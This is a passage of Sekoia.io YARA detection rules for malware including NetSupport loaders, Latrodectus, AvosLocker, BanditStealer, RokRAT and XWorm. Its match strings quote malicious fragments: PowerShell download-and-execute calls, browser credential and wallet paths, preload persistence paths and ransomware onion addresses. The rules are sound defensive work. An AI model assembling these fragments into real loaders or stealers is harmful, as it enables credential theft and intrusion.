		all of them and filesize < 10KB and #s3 > 3
}

rule SEKOIA_Loader_Win_Red0044_Powershell_May24 : FILE
{
	meta:
		description = "Finds PowerShell scripts used in a malvertising campaign to deliver NetSupport RAT"
		author = "Sekoia.io"
		id = "ba3454b4-31cf-458d-8d78-c5cc5fa348ff"
		date = "2024-05-03"
		modified = "2024-12-19"
		reference = "https://twitter.com/crep1x/status/1786150734121120075"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_win_red0044_powershell_may24.yar#L1-L26"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "73939f65b93b320b9e220ee284ea524864a6b05c7608213009ac5f00b3faeedc"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "Start-Job -ScriptBlock" ascii
		$str02 = "Get-WmiObject" ascii
		$str03 = "-Class Win32_OperatingSystem" ascii
		$str04 = "-Class AntiVirusProduct" ascii
		$str05 = "$_.Exception.Message" ascii
		$str06 = ".DownloadString" ascii
		$str07 = "New-Object Net.WebClient" ascii
		$str08 = "myUserAgentHere" ascii
		$str09 = "GetFolderPath('Desktop'))\\document.pdf" ascii
		$str10 = "Receive-Job -Job" ascii
		$str11 = "Start-Process" ascii
	condition:
		8 of them and filesize < 20KB
}

rule SEKOIA_Loader_Latrodectus_Dll : FILE
{
	meta:
		description = "Finds Latrodectus samples based on the specific strings"
		author = "Sekoia.io"
		id = "c60676ad-31cb-4f4d-9073-757a0ad7d23d"
		date = "2023-12-08"
		modified = "2024-12-19"
		reference = "https://twitter.com/Myrtus0x0/status/1732997981866209550"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_latrodectus_dll.yar#L1-L35"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "57aae1944eded14537cdc1c17b21cfc503687a416551b782fc76f8c7858e936e"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "c:\\temp\\debug.pdb" fullword ascii
		$str02 = "Bottmp64.dll" fullword ascii
		$str03 = "scab" fullword ascii
		$str04 = "&wmic=" fullword ascii
		$str05 = "&ipconfig=" fullword ascii
		$str06 = "&systeminfo=" fullword ascii
		$str07 = "&domain_trusts=" fullword ascii
		$str08 = "&domain_trusts_all=" fullword ascii
		$str09 = "&net_view_all_domain=" fullword ascii
		$str10 = "&net_view_all=" fullword ascii
		$str11 = "&net_group=" fullword ascii
		$str12 = "&net_config_ws=" fullword ascii
		$str13 = "&net_wmic_av=" fullword ascii
		$str14 = "&whoami_group=" fullword ascii
		$str15 = "\"subproc\": [" fullword ascii
		$str16 = "&proclist=[" fullword ascii
		$str17 = "&desklinks=[" fullword ascii
		$str18 = "Update_%x" fullword wide
		$str19 = "Custom_update" fullword wide
		$str20 = "\\update_data.dat" fullword wide
	condition:
		uint16( 0 ) == 0x5A4D and 10 of them
}


rule SEKOIA_Infostealer_Win_Whitesnake_Loader_Feb23 : FILE
{
	meta:
		description = "Finds WhiteSnake samples (loader module, bat file)"
		author = "Sekoia.io"
		id = "f81a8a96-6fd2-4f5c-8a56-ff66ff1a80d3"
		date = "2023-03-01"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_whitesnake_loader_feb23.yar#L1-L23"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "c9d4414fb17c28a3ea2e75837732e1657bdc7b2df4a7ab34e458d659441759e8"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "echo         Please wait... a while Loading data ...." ascii
		$str02 = "CERTUTIL -f -decode" ascii
		$str03 = "%Temp%\\build.exe" ascii
		$crt = "-----BEGIN CERTIFICATE-----" ascii
		$mz = "TVqQAAMAAAAEAAAA" ascii
	condition:
		($str01 in ( 0 .. 200 ) or $str02 in ( 0 .. 200 ) or $str03 in ( 0 .. 200 ) ) and $mz in ( @crt .. @crt + 50 ) and filesize < 100KB
}


rule SEKOIA_Ransomware_Lin_Avoslocker_Strings : FILE
{
	meta:
		description = "Detect AvosLocker ransomware for Linux by using strings from its ransom note and the onion domains"
		author = "Sekoia.io"
		id = "6056e15c-d656-41cb-bea0-704776c52c92"
		date = "2022-02-21"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/ransomware_lin_avoslocker_strings.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "b65cf6713027644de281f17a4c5c170fc09a154e7119d04a92aceed0e2d7e4fd"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
		hash1 = "0cd7b6ea8857ce827180342a1c955e79c3336a6cf2000244e5cfd4279c5fc1b6"
		hash2 = "7c935dcd672c4854495f41008120288e8e1c144089f1f06a23bd0a0f52a544b1"
		hash3 = "10ab76cd6d6b50d26fde5fe54e8d80fceeb744de8dbafddff470939fac6a98c4"
	strings:
		$s1 = "The corporations whom don't pay or fail to respond in a swift manner can be found in our blog, accessible at" ascii
		$s2 = "http://avosqxh72b5ia23dl5fgwcpndkctuzqvh2iefk5imp3pi5gfhel5klad.onion" ascii
		$s3 = "http://avosjon4pfh3y7ew3jdwz6ofw7lljcxlbk7hcxxmnxlh5kvf2akcqjad.onion" ascii
	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule SEKOIA_Apt_Badmagic_Startrevsocks_Pshscript : FILE
{
	meta:
		description = "Detects BadMagic DLL Loader powershell script"
		author = "Sekoia.io"
		id = "a6c96aee-9e78-47d2-afe3-f3c5246a9370"
		date = "2023-05-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_badmagic_startrevsocks_pshscript.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "6a4615afb836330634cde9559dacfff50daef44a370f6191c6771a2066074a31"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "$ExecutablePath"
		$ = "Start-Sleep -Second 2"
		$ = "recn -15 -rect 15"
	condition:
		all of them and filesize < 1KB
}

rule SEKOIA_Apt_Coathanger_Files : FILE
{
	meta:
		description = "Detects COATHANGER files"
		author = "Sekoia.io"
		id = "615f5ac1-14bc-4f5b-a02e-7b13cd179917"
		date = "2024-02-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_coathanger_files.yar#L1-L24"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "5406d8a99e16f08f1ffca548ea1dd1e27e7707506e796e0fc263bcdbb681632d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "/data2/"
		$ = "/httpsd"
		$ = "/preload.so"
		$ = "/authd"
		$ = "/tmp/packfile"
		$ = "/smartctl"
		$ = "/etc/ld.so.preload"
		$ = "/newcli"
		$ = "/bin/busybox"
	condition:
		( uint32( 0 ) == 0x464c457f or uint32( 4 ) == 0x464c457f ) and filesize < 5MB and 4 of them
}


rule SEKOIA_Loader_Fakebat_Powershell_Fingerprint_May24 : FILE
{
	meta:
		description = "Finds FakeBat PowerShell script fingerprinting the infected host."
		author = "Sekoia.io"
		id = "7efcf9cf-78fe-400e-abe3-6955c394e358"
		date = "2024-06-21"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_fakebat_powershell_fingerprint_may24.yar#L1-L27"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "04e5c888e5f71873c4fa2d732fbd8e40be3edf406300e65e489e1fa378028c5f"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "Get-WmiObject Win32_ComputerSystem" ascii
		$str02 = "-Class AntiVirusProduct" ascii
		$str03 = "status = \"start\"" ascii
		$str04 = " | ConvertTo-Json" ascii
		$str05 = ".FromXmlString(" ascii
		$str06 = " = Invoke-RestMethod -Uri " ascii
		$str07 = ".Exception.Response.StatusCode -eq 'ServiceUnavailable'" ascii
		$str08 = "Invoke-WebRequest -Uri $url -OutFile " ascii
		$str09 = "--batch --yes --passphrase-fd" ascii
		$str10 = "--decrypt --output" ascii
		$str11 = "Invoke-Expression \"tar --extract --file=" ascii
	condition:
		7 of them and filesize < 10KB and true
}

rule SEKOIA_Infostealer_Win_Blustealer : FILE
{
	meta:
		description = "Detect the BluStealer infostealer based on characteristic strings"
		author = "Sekoia.io"
		id = "a56b3c12-9d83-4a0b-81e8-43332e64d599"
		date = "2022-10-05"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_blustealer.yar#L1-L29"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "fc7c11a9ddd21228aa773da6054220211327727a87d48008b7edb202c48666d8"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$cha01 = "@top\\LOGGERS\\DARKCLOUD" wide
		$cha02 = "===============DARKCLOUD===============" wide
		$cha03 = "#######################################DARKCLOUD#######################################" wide
		$cha04 = "fireballsabadafirebricksfisherboat" ascii
		$cha05 = "Moonchild Pro2ductions" wide
		$str01 = "\\Microsoft\\Windows\\Templates\\credentials.txt" wide
		$str02 = "\\NETGATE Technologies\\BlackHawK\\Profiles" wide
		$str03 = "SysWOW64\\winsqlite3.dll" wide
		$str04 = "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*RD_" wide
		$str05 = "Expiry Date;" wide
		$str06 = "SELECT c0subject, c3author, c4recipients, c1body  FROM messagesText_content" wide
		$str07 = "http://www.mediacollege.com/internet/utilities/show-ip.shtml" wide
		$str08 = "\\163MailContacts.txt" wide
		$key_0 = {ba ?? ?? 40 00 8d 4?}
	condition:
		uint16( 0 ) == 0x5A4D and 2 of ( $cha* ) and 4 of ( $str* ) and $key_0
}

rule SEKOIA_Tool_Win_Gosecretsdump : FILE
{
	meta:
		description = "Finds gosecretsdump EXE based on strings"
		author = "Sekoia.io"
		id = "9225fe95-e37c-48ff-b5b5-680f255349bd"
		date = "2024-06-10"
		modified = "2024-12-19"
		reference = "https://github.com/C-Sto/gosecretsdump/releases"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/tool_win_gosecretsdump.yar#L1-L27"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "957b0deae745e4fda5a790acc391cebf9d193efb2a19ad5eb18c54da8c17bcfa"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "github.com/C-Sto/gosecretsdump" ascii
		$str02 = "/pkg/esent" ascii
		$str03 = "/pkg/ditreader" ascii
		$str04 = "/pkg/samreader" ascii
		$str05 = "ntdsFileLocation" ascii
		$str06 = "NTDSLoc" ascii
		$str07 = "SAMEntries" ascii
		$str08 = "SAMHashAES" ascii
		$str09 = "NTLMHash" ascii
		$str10 = "HasNoLMHashPolicy" ascii
		$str11 = "PreviousIncBackup" ascii
		$str12 = "Esent_record" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 7 of them
}

rule SEKOIA_Backdoor_Win_Rokrat : FILE
{
	meta:
		description = "Detect the RokRAT malware"
		author = "Sekoia.io"
		id = "97a3acc1-4120-4d67-a6ad-fa204f2fd7f5"
		date = "2023-07-11"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/backdoor_win_rokrat.yar#L1-L31"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "42e0b8583570d32a5d6a5bed175a53951e7d68d8471a283ef245686621dc01c4"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
		hash1 = "84760cac26513915ebfb0a80ad3ddabe62f03ec4fda227d63e764f9c4a118c4e"
		hash2 = "758348521331bb18241d1cfc90d7e687dbc5bad8d596a2b2d6a9deb6cfc8cb1d"
		hash3 = "2a253c2aa1db3f809c86f410e4bd21f680b7235d951567f24d614d8e4d041576"
		hash4 = "ebce34cdeb20bc8c75249ce87a3080054f48b03ef66572fbc9dc40e6c36310d6"
		hash5 = "a1e4e95a20120f16adacb342672eec1e73bd7826b332096f046bb7e2b7cd80a1"
		hash6 = "3be58a7a7a25dbceee9e7ef06ef20aa86aef083be19db9e5ffb181d3f9f6615a"
		hash7 = "fa4df84071b9ae20b321e4d22162d8480f6992206bc046e403c2fbedd1655503"
		hash8 = "aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949"
	strings:
		$ = "--wwjaughalvncjwiajs--"
		$ = {7b 00 22 00 70 00 61 00 74 00 68 00 22 00 3a 00 22 00 25 00 73 00 22 00 2c 00 22 00 6d 00 6f 00 64 00 65 00 22 00 3a 00 7b 00 22 00 2e 00 74 00 61 00 67 00 22 00 3a 00 22 00 6f 00 76 00 65 00 72 00 77 00 72 00 69 00 74 00 65 00 22 00 7d 00 7d}
		$ = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 6c 00 6f 00 75 00 64 00 2d 00 61 00 70 00 69 00 2e 00 79 00 61 00 6e 00 64 00 65 00 78 00 2e 00 6e 00 65 00 74 00 2f 00 76 00 31 00 2f 00 64 00 69 00 73 00 6b 00 2f 00 72 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 3f 00 70 00 61 00 74 00 68 00 3d 00 25 00 73 00 26 00 6f 00 76 00 65 00 72 00 77 00 72 00 69 00 74 00 65 00 3d 00 25 00 73}
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule SEKOIA_Trojan_Win_Bbtok_Lnk_Sep23 : FILE
{
	meta:
		description = "Finds BBTok installation LNK file"
		author = "Sekoia.io"
		id = "b1d5dae6-d92f-4a4a-ae90-528cdb3e9e4c"
		date = "2023-09-26"
		modified = "2024-12-19"
		reference = "https://research.checkpoint.com/2023/behind-the-scenes-of-bbtok-analyzing-a-bankers-server-side-components/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/trojan_win_bbtok_lnk_sep23.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "32bf07e3740399105359b62d8a612dfa731b024e06c9104b71b496919b5efe9e"
		logic_hash = "5783487585dde1314c485bdcf3942b7e8b572c0689522ea136240833d2a64f5b"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$lnk = {4C 00 00 00}
		$str01 = "%ProgramFiles(x86)%\\Microsoft\\Edge\\Application\\msedge.exe" ascii wide
		$str02 = ".pdf /Y & start" wide
		$str03 = "\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe -nologo" wide
	condition:
		all of them and filesize < 10KB
}



rule SEKOIA_Apt_Lazarus_Backdoored_Jslib : FILE
{
	meta:
		description = "Detects InvisibleFerret based on common ressource."
		author = "Sekoia.io"
		id = "73ffd449-93c8-494e-9c14-2e933b21a200"
		date = "2024-10-28"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_lazarus_backdoored_jslib.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "52e92be527690f4e63608cbc699e2f70"
		logic_hash = "205ad321afcb22ae2bf6cf2a58ce970ea9b0edda7fab60ddeda5ea36ecfe3cb9"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$obf = "(function(_0x" ascii
		$exp = "module.exports =" ascii
	condition:
		$exp in ( filesize -500 .. filesize ) and #obf == 1
}

rule SEKOIA_Generic_Sharpshooter_Payload_4 : FILE
{
	meta:
		description = "Detects payload created by SharpShooter"
		author = "Sekoia.io"
		id = "b8327436-3f3d-441c-86b7-35cd30144dc2"
		date = "2023-02-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_sharpshooter_payload_4.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "ee67eb7b51ff6f3882c6b3ad86c3581396ba02f616c29a0190d0a2ad3d2ea614"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "Function RC4(byteMessage, strKey)"
		$ = "Set EL = DM.createElement("
		$ = "decodeBase64 = EL.NodeTypedValue"
		$ = "Execute plain"
	condition:
		all of them and filesize < 2MB
}


rule SEKOIA_Infostealer_Win_Banditstealer : FILE
{
	meta:
		description = "Finds BanditStealer samples based on specific strings"
		author = "Sekoia.io"
		id = "d1e45a5c-c06d-4161-8d30-fa94bcf0ea7a"
		date = "2023-07-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_banditstealer.yar#L1-L35"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "64d4860dd8a783be10541dd5c939dcd2a2b08309a7cd17b9dbbda1ba8b26485d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$spe01 = "Banditstealer" ascii
		$spe02 = "BANDIT STEALER" ascii
		$spe03 = "Location: Geolocation: " ascii
		$spe04 = "awesomeProject2/core.GetWallets" ascii
		$spe05 = "awesomeProject2/core.GetCreditCards" ascii
		$spe06 = "awesomeProject2/core.GetCookies" ascii
		$spe07 = "awesomeProject2/core.KillProcessByName" ascii
		$spe08 = "main.sendZipToTelegram" ascii
		$str01 = "json:\"city\"" ascii
		$str02 = "UAC disabled" ascii
		$str03 = "\\OpenVPN Connect\\profiles\\" ascii
		$str04 = "\\Documents\\Monero\\wallets\\" ascii
		$str05 = "cookies.sqlite" ascii
		$str06 = "creditcard.txt" ascii
		$str07 = "vmware.exe" ascii
		$str08 = "aeachknmefphepccionboohckonoeemg" ascii
		$str09 = "\\Documents\\NetSarang\\Xftp\\Sessions\\" ascii
		$str10 = "\\WhatsApp\\Local Storage\\leveldb\\" ascii
		$str11 = "Visited Time: %s" ascii
		$str12 = "\\Google\\Chrome\\User Data\\Telegram Desktop\\tdata\\" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 2 of ( $spe* ) and 6 of ( $str* )
}

rule SEKOIA_Apt_Gamaredon_Ddrdoh_Powershell_Backdoor : FILE
{
	meta:
		description = "Detects GAMAREDON's DDRDOH PowerShell Backdoor"
		author = "Sekoia.io"
		id = "3413dedd-e3ec-4231-8af7-c7f709ab82d7"
		date = "2023-01-23"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_gamaredon_ddrdoh_powershell_backdoor.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "32d088affb65d410b2715fde28227792ea9f406e324de4a2e204e9850f0b81ce"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "hidden iex $env:" ascii wide
		$ = ".substring(0,4) -eq \"http" ascii wide
		$ = ".split('!')[1];" ascii wide
		$ = " -bxor $key[$i % $key.Length]" ascii wide
		$s = "Filter $fil | Select-Object VolumeSerialNumber" ascii wide
	condition:
		uint8( 0 ) == 0x24 and 4 of them and filesize < 10KB
}

rule SEKOIA_Rat_Win_Borat : FILE
{
	meta:
		description = "Detect the Borat RAT besed on specific strings"
		author = "Sekoia.io"
		id = "9f8badb3-ee8b-45d9-8515-c847351bb1f5"
		date = "2022-04-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rat_win_borat.yar#L1-L25"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "53d6d9fe6b3218d97079e624379863d927d0b783b24acbda359b18daafb5162e"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "BoratRatMutex_Sa8XOfH1BudX" ascii
		$str1 = "BoratRat.exe" ascii
		$str2 = "BoratRat" ascii
		$str3 = "CN=BoratRat" wide
		$str4 = "Sending plugun to " wide
		$str5 = "Save recorded file fail " wide
		$str6 = "Sa8XOfH1BudX" wide
		$str7 = "Alert when process activive." wide
		$str8 = "disableDefedner" wide
		$str9 = "bin\\Ransomware.dll" wide
		$str10 = "disableDefedner" wide
	condition:
		uint16( 0 ) == 0x5A4D and 7 of them
}


rule SEKOIA_Infostealer_Win_Daolpu_Str : FILE
{
	meta:
		description = "Finds Daolpu Stealer samples based on specific strings."
		author = "Sekoia.io"
		id = "dde1cf12-48d8-45b6-b453-b7196e6b1271"
		date = "2024-07-23"
		modified = "2024-12-19"
		reference = "https://www.crowdstrike.com/blog/fake-recovery-manual-used-to-deliver-unidentified-stealer/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_daolpu_str.yar#L1-L26"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "9372a88efcdca6ca57f354fb31569522e5458271cc51dfedf09c6178a47a5b67"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "Content-Type: %s%s%s" ascii
		$str02 = "Content-Disposition: %s%s%s%s%s%s%s" ascii
		$str03 = "\\CocCoc\\Browser\\User Data\\Local State" ascii
		$str04 = "\\Microsoft\\Edge\\User Data\\Default\\Login Data" ascii
		$str05 = "\\Mozilla\\Firefox\\Profiles" ascii
		$str06 = "No MAC Address Found" ascii
		$str07 = "C:\\Windows\\Temp\\" ascii
		$str08 = "C:\\Windows\\Temp\\result.txt" ascii
		$str09 = "Privatekey@2211#$" ascii
		$str10 = "CryptStringToBinaryA Failed to convert BASE64 private key." ascii
		$str11 = "taskkill /F /IM chrome.exe" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 8 of them
}

rule SEKOIA_Rat_Win_Babylon : FILE
{
	meta:
		description = "Finds Babylon RAT samples based on specific strings"
		author = "Sekoia.io"
		id = "ba9ab80a-ad7e-4746-aff2-9328440cbb25"
		date = "2023-08-22"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rat_win_babylon.yar#L1-L27"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "142f10e519561d6552c9cb8d267280b9ede203a2f4723d904ab07217b0565bd1"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "ParadoxRAT_Client" ascii
		$str02 = "*** in database %s ***" ascii
		$str03 = "\\drivers\\etc\\HOSTS" ascii
		$str04 = "Babylon RAT Client" wide
		$str05 = "ClipBoard.txt" wide
		$str06 = "a,ccs=UTF-16LE" wide
		$str07 = "[%02d/%02d/%d %02d:%02d:%02d] [%s] (%s):" wide
		$str08 = "Update Failed [OpenProcess]..." wide
		$str09 = "DoS Already Active..." wide
		$str10 = "File Download and Execution Failed..." wide
		$str11 = "LgDError33x98dGetProcAddress" wide
		$str12 = "FriendlyName" wide
		$str13 = "@SPYNET" wide
	condition:
		uint16( 0 ) == 0x5a4d and 8 of ( $str* )
}

rule SEKOIA_Rat_Win_Xworm_V2 : FILE
{
	meta:
		description = "Finds XWorm v2 samples based on characteristic strings"
		author = "Sekoia.io"
		id = "6cf06f52-0337-415d-8f29-f63d67e228f8"
		date = "2022-11-07"
		modified = "2024-12-19"
		reference = "https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rat_win_xworm_v2.yar#L1-L38"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "58a2dbfbd453855021942902a6d55d150eee3acba67a294da24448cfca4f811e"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "XWorm.exe" wide ascii
		$str02 = "ngrok" wide ascii
		$str03 = "Mutexx" ascii
		$str04 = "FileManagerSplitFileManagerSplit" wide
		$str05 = "InstallngC" wide
		$str06 = "downloadedfile" wide
		$str07 = "creatfile" wide
		$str08 = "creatnewfolder" wide
		$str09 = "showfolderfile" wide
		$str10 = "hidefolderfile" wide
		$str11 = "txtttt" wide
		$str12 = "\\root\\SecurityCenter2" wide
		$str13 = "[USB]" wide
		$str14 = "[Drive]" wide
		$str15 = "[Folder]" wide
		$str16 = "HVNC" wide
		$str17 = "http://exmple.com/Uploader.php" wide
		$str18 = "XKlog.txt" wide
		$str19 = "Select * from AntivirusProduct" wide
		$str20 = "runnnnnn" wide
		$str21 = "RunBotKiller" wide
		$str22 = "bypss" wide
		$str23 = "<Xwormmm>" wide
	condition:
		uint16( 0 ) == 0x5A4D and 12 of them
}

rule SEKOIA_Apt_Gamaredon_Ddrdoh_Vbs_Downloader_Vbs : FILE
{
	meta:
		description = "Detects malicious VBScript executed by LNK/mshta"
		author = "Sekoia.io"
		id = "cc29d5d9-58bd-4f68-8673-daa41abfc7be"
		date = "2023-01-24"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_gamaredon_ddrdoh_vbs_downloader_vbs.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "c91e1ce26c0735e8c68fe39f2fbeda8aed51cd4f9a0b967b5d184843728dcef4"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "b24gZXJyb3IgcmVzd" ascii
		$ = "BinaryStream.readtext" ascii nocase
		$ = "createobject(\"msxml2.domdocument.3.0\").createelement(" ascii nocase
		$ = "Dim cSecond, cMinute, CHour, cDay, cMonth, cYear" ascii nocase
		$ = "tDate & \"T\" & tTime"
		$ = "AutoOpen" ascii nocase
	condition:
		5 of them and filesize < 50KB
}

rule SEKOIA_Crypter_Win_Dotrunpex : FILE
{
	meta:
		description = "Detect the dotRunpeX crypter based on strings"
		author = "Sekoia.io"
		id = "6fb4ffe0-3a5c-432c-8ae2-404bb5960c30"
		date = "2023-06-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/crypter_win_dotrunpex.yar#L1-L15"
